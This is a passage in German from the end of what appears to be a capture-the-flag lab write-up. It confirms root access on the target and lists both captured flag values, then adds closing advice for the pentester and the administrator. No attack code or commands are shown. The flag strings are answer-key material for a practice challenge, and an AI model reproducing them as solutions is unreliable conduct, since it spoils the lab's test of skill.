WHOAMI: uid=0(root) Ausgabe von flag.sh bestätigt, dass es mit Root-Rechten ausgeführt wurde.
Bewertung: Beide Flags (Root-Flag: HMVhappy2021, User-Flag: HMVhi2021) wurden erfolgreich gefunden und ausgelesen. Die Ziele des Pentests sind erreicht.
Empfehlung (Pentester): Der Pentest ist abgeschlossen. Dokumentieren Sie die gefundenen Flags.
Empfehlung (Admin): Stellen Sie sicher, dass Flags sicher gespeichert und nur für autorisierte Benutzer zugänglich sind. Platzieren Sie die Root-Flag nur in einem Verzeichnis, das nur für Root zugänglich ist.